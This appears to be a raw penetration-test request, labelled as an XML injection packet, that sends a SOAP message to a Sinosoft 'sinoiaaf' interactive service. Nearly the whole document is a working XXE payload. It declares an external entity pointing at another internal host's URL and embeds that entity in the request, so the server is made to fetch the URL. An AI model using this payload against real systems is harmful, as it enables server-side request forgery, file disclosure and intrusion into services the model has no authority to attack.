XML注入报文

POST /sinoiaaf/service/InteracticeService HTTP/1.1
Accept-Encoding: gzip, deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
Content-Length: 560
Host: 172.20.1.94:7003
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: close

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:act="http://action.interactive.sinoiaaf.sinosoft.com/">
	<soapenv:Header/>
	<soapenv:Body><!-- XXE发送链接-->
		<act:receiveRequestXml>
			<!--Optional:-->
			<arg0>
				<!--Optional:-->
				<requestXML><![CDATA[<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xdsec [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "http://172.20.1.137:8000/text.txt" >]><methodcall><methodname>&xxe;</methodname></methodcall>
]]></requestXML>
		</arg0>
	</act:receiveRequestXml>
</soapenv:Body>
</soapenv:Envelope>